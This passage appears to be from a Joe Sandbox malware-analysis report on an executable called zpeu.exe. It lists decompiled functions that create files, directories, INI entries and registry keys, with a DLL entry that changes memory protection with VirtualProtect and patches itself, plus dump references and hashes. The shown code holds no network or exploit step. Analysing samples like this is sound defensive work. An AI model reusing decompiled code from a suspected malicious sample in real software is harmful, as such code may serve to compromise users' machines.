                                      • GetProcAddress.KERNEL32(00000000,?), ref: 00406653
                                        • Part of subcall function 004065B6: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004065CD
                                        • Part of subcall function 004065B6: wsprintfW.USER32 ref: 00406608
                                        • Part of subcall function 004065B6: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040661C
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                      • String ID:
                                      • API String ID: 2547128583-0
                                      • Opcode ID: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
                                      • Instruction ID: 40ec7d190cb489a8bb7bfdeabdf724fb2ab18eb81f375fb852db001ef300dc43
                                      • Opcode Fuzzy Hash: 67dc6ca41c2bc7bd5b2f809cbb82f8f2c1b847e00e9086bd1828883d4f03c685
                                      • Instruction Fuzzy Hash: 06E0863250421166D211A6705E4487763AD9E95650707883FF956F2181D7399C31A66E
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 68%
                                      			E00405D3E(WCHAR* _a4, long _a8, long _a12) {
                                      				signed int _t5;
                                      				void* _t6;
                                      
                                      				_t5 = GetFileAttributesW(_a4); // executed
                                      				asm("sbb ecx, ecx");
                                      				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
                                      				return _t6;
                                      			}





                                      0x00405d42
                                      0x00405d4f
                                      0x00405d64
                                      0x00405d6a

                                      APIs
                                      • GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\zpeu.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D42
                                      • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D64
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: File$AttributesCreate
                                      • String ID:
                                      • API String ID: 415043291-0
                                      • Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
                                      • Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
                                      • Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
                                      • Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00405D19(WCHAR* _a4) {
                                      				signed char _t3;
                                      				signed char _t7;
                                      
                                      				_t3 = GetFileAttributesW(_a4); // executed
                                      				_t7 = _t3;
                                      				if(_t7 != 0xffffffff) {
                                      					SetFileAttributesW(_a4, _t3 & 0x000000fe);
                                      				}
                                      				return _t7;
                                      			}





                                      0x00405d1e
                                      0x00405d24
                                      0x00405d29
                                      0x00405d32
                                      0x00405d32
                                      0x00405d3b

                                      APIs
                                      • GetFileAttributesW.KERNELBASE(?,?,0040591E,?,?,00000000,00405AF4,?,?,?,?), ref: 00405D1E
                                      • SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D32
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: AttributesFile
                                      • String ID:
                                      • API String ID: 3188754299-0
                                      • Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
                                      • Instruction ID: 51a2066edc4c2a81eeb0428f2148d4bf8de4f40e885bab3ef7b7d11008f75862
                                      • Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
                                      • Instruction Fuzzy Hash: 72D0C972505420ABC2512728AF0C89BBB95DB542717028B35FAA9A22B0CB304C569A98
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004057FC(WCHAR* _a4) {
                                      				int _t2;
                                      
                                      				_t2 = CreateDirectoryW(_a4, 0); // executed
                                      				if(_t2 == 0) {
                                      					return GetLastError();
                                      				}
                                      				return 0;
                                      			}




                                      0x00405802
                                      0x0040580a
                                      0x00000000
                                      0x00405810
                                      0x00000000

                                      APIs
                                      • CreateDirectoryW.KERNELBASE(?,00000000,00403330,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 00405802
                                      • GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405810
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CreateDirectoryErrorLast
                                      • String ID:
                                      • API String ID: 1375471231-0
                                      • Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
                                      • Instruction ID: ef554e49865ddd63361da1c12a2af0f36bd739cc66983d197ffc2c9f8e40d56f
                                      • Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
                                      • Instruction Fuzzy Hash: 69C04C71225501DBDB507F219F09B177A54AFA0741F15C83AA586E10E0DA748465DB2D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 33%
                                      			E004027E9(intOrPtr __edx, void* __eflags) {
                                      				long _t8;
                                      				long _t10;
                                      				LONG* _t12;
                                      				void* _t14;
                                      				intOrPtr _t15;
                                      				void* _t17;
                                      				void* _t19;
                                      
                                      				_t15 = __edx;
                                      				_push(ds);
                                      				if(__eflags != 0) {
                                      					_t8 = E00402C15(2);
                                      					_pop(_t14);
                                      					 *((intOrPtr*)(_t19 - 0x4c)) = _t15;
                                      					_t10 = SetFilePointer(E004061AC(_t14, _t17), _t8, _t12,  *(_t19 - 0x1c)); // executed
                                      					if( *((intOrPtr*)(_t19 - 0x24)) >= _t12) {
                                      						_push(_t10);
                                      						_push( *((intOrPtr*)(_t19 - 0xc)));
                                      						E00406193();
                                      					}
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t19 - 4));
                                      				return 0;
                                      			}










                                      0x004027e9
                                      0x004027e9
                                      0x004027ea
                                      0x004027f2
                                      0x004027f7
                                      0x004027f8
                                      0x00402807
                                      0x00402810
                                      0x00402a61
                                      0x00402a62
                                      0x00402a65
                                      0x00402a65
                                      0x00402810
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402807
                                        • Part of subcall function 00406193: wsprintfW.USER32 ref: 004061A0
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: FilePointerwsprintf
                                      • String ID:
                                      • API String ID: 327478801-0
                                      • Opcode ID: 4643b5bc4f6d9a4cf216ebc2a3e4c5933704e38c523c14cff5c4d3e265dd41fa
                                      • Instruction ID: 8e859e92f5722eba9353145e96b7f7bbf63091ba891c9fc52d729c0f29c6f3b3
                                      • Opcode Fuzzy Hash: 4643b5bc4f6d9a4cf216ebc2a3e4c5933704e38c523c14cff5c4d3e265dd41fa
                                      • Instruction Fuzzy Hash: A0E09271E00104AFDB11EFA5AE498AE7779DB40304B14403BF101F51D2CA790D128E2E
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00402306(int __eax, WCHAR* __ebx) {
                                      				WCHAR* _t11;
                                      				WCHAR* _t13;
                                      				void* _t17;
                                      				int _t21;
                                      
                                      				_t11 = __ebx;
                                      				_t5 = __eax;
                                      				_t13 = 0;
                                      				if(__eax != __ebx) {
                                      					__eax = E00402C37(__ebx);
                                      				}
                                      				if( *((intOrPtr*)(_t17 - 0x24)) != _t11) {
                                      					_t13 = E00402C37(0x11);
                                      				}
                                      				if( *((intOrPtr*)(_t17 - 0x18)) != _t11) {
                                      					_t11 = E00402C37(0x22);
                                      				}
                                      				_t5 = WritePrivateProfileStringW(0, _t13, _t11, E00402C37(0xffffffcd)); // executed
                                      				_t21 = _t5;
                                      				if(_t21 == 0) {
                                      					 *((intOrPtr*)(_t17 - 4)) = 1;
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t17 - 4));
                                      				return 0;
                                      			}







                                      0x00402306
                                      0x00402306
                                      0x00402308
                                      0x0040230c
                                      0x0040230f
                                      0x00402314
                                      0x00402319
                                      0x00402322
                                      0x00402322
                                      0x00402327
                                      0x00402330
                                      0x00402330
                                      0x0040233d
                                      0x004015b4
                                      0x004015b6
                                      0x00402885
                                      0x00402885
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040233D
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: PrivateProfileStringWrite
                                      • String ID:
                                      • API String ID: 390214022-0
                                      • Opcode ID: 611604a497d22fd9b22a7666efc1e18301a5eb9844a24c96cea5756000cc0278
                                      • Instruction ID: f718b570c03cd879152723008abd35f840e0595a9afadee28286a7759bd10add
                                      • Opcode Fuzzy Hash: 611604a497d22fd9b22a7666efc1e18301a5eb9844a24c96cea5756000cc0278
                                      • Instruction Fuzzy Hash: A1E086719042686EE7303AF10F8EDBF50989B44348B55093FBA01B61C2D9FC0D46826D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004060E7(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
                                      				void* _t7;
                                      				long _t8;
                                      				void* _t9;
                                      
                                      				_t7 = E0040603E(_a4,  &_a12);
                                      				if(_t7 != 0) {
                                      					_t8 = RegCreateKeyExW(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
                                      					return _t8;
                                      				}
                                      				_t9 = 6;
                                      				return _t9;
                                      			}






                                      0x004060f1
                                      0x004060fa
                                      0x00406110
                                      0x00000000
                                      0x00406110
                                      0x004060fe
                                      0x00000000

                                      APIs
                                      • RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CE8,00000000,?,?), ref: 00406110
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Create
                                      • String ID:
                                      • API String ID: 2289755597-0
                                      • Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
                                      • Instruction ID: 2d66df08b7a29efef6dff9ba5d381340db71bdfba6c3c9a2337d9ff24a0a933a
                                      • Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
                                      • Instruction Fuzzy Hash: 3FE0E672120109BEEF199F90DD0BD7B371DE704344F11452EFA06D4051E6B6A9309A78
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00405DC1(void* _a4, void* _a8, long _a12) {
                                      				int _t7;
                                      				long _t11;
                                      
                                      				_t11 = _a12;
                                      				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                      				if(_t7 == 0 || _t11 != _a12) {
                                      					return 0;
                                      				} else {
                                      					return 1;
                                      				}
                                      			}





                                      0x00405dc5
                                      0x00405dd5
                                      0x00405ddd
                                      0x00000000
                                      0x00405de4
                                      0x00000000
                                      0x00405de6

                                      APIs
                                      • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032F2,00000000,00000000,00403149,?,00000004,00000000,00000000,00000000), ref: 00405DD5
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: FileRead
                                      • String ID:
                                      • API String ID: 2738559852-0
                                      • Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
                                      • Instruction ID: 049d94eeec1c3219778d14f023c81a0d93a8da43d693805162a6c59e2ada833e
                                      • Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
                                      • Instruction Fuzzy Hash: C8E0EC3221125AABDF10AF559C04EEB7B6CEF05760F048837F915E6150D631E8619BA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00405DF0(void* _a4, void* _a8, long _a12) {
                                      				int _t7;
                                      				long _t11;
                                      
                                      				_t11 = _a12;
                                      				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                      				if(_t7 == 0 || _t11 != _a12) {
                                      					return 0;
                                      				} else {
                                      					return 1;
                                      				}
                                      			}





                                      0x00405df4
                                      0x00405e04
                                      0x00405e0c
                                      0x00000000
                                      0x00405e13
                                      0x00000000
                                      0x00405e15

                                      APIs
                                      • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,00000000,?,004032C0,000000FF,0040CEA0,00000000,0040CEA0,00000000,?,00000004,00000000), ref: 00405E04
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: FileWrite
                                      • String ID:
                                      • API String ID: 3934441357-0
                                      • Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
                                      • Instruction ID: 615bc9b617cbd9c004defc23c3f46b4eb24d278b47416a1e56efd721f2399a3b
                                      • Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
                                      • Instruction Fuzzy Hash: 1AE0EC3262465AABDF10AF55DC00AEB7B6CFB453A0F004836FD55E3150D671EA219BE8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			_entry_(intOrPtr _a4, intOrPtr _a8) {
                                      
                                      				 *0x10004048 = _a4;
                                      				if(_a8 == 1) {
                                      					VirtualProtect(0x1000405c, 4, 0x40, 0x1000404c); // executed
                                      					 *0x1000405c = 0xc2;
                                      					 *0x1000404c = 0;
                                      					 *0x10004054 = 0;
                                      					 *0x10004068 = 0;
                                      					 *0x10004058 = 0;
                                      					 *0x10004050 = 0;
                                      					 *0x10004060 = 0;
                                      					 *0x1000405e = 0;
                                      				}
                                      				return 1;
                                      			}



                                      0x100027cb
                                      0x100027d0
                                      0x100027e0
                                      0x100027e8
                                      0x100027ef
                                      0x100027f4
                                      0x100027f9
                                      0x100027fe
                                      0x10002803
                                      0x10002808
                                      0x1000280d
                                      0x1000280d
                                      0x10002815

                                      APIs
                                      • VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E0
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56287645095.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000002.00000002.56287621187.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287670249.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287691268.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_10000000_zpeu.jbxd
                                      Similarity
                                      • API ID: ProtectVirtual
                                      • String ID:
                                      • API String ID: 544645111-0
                                      • Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
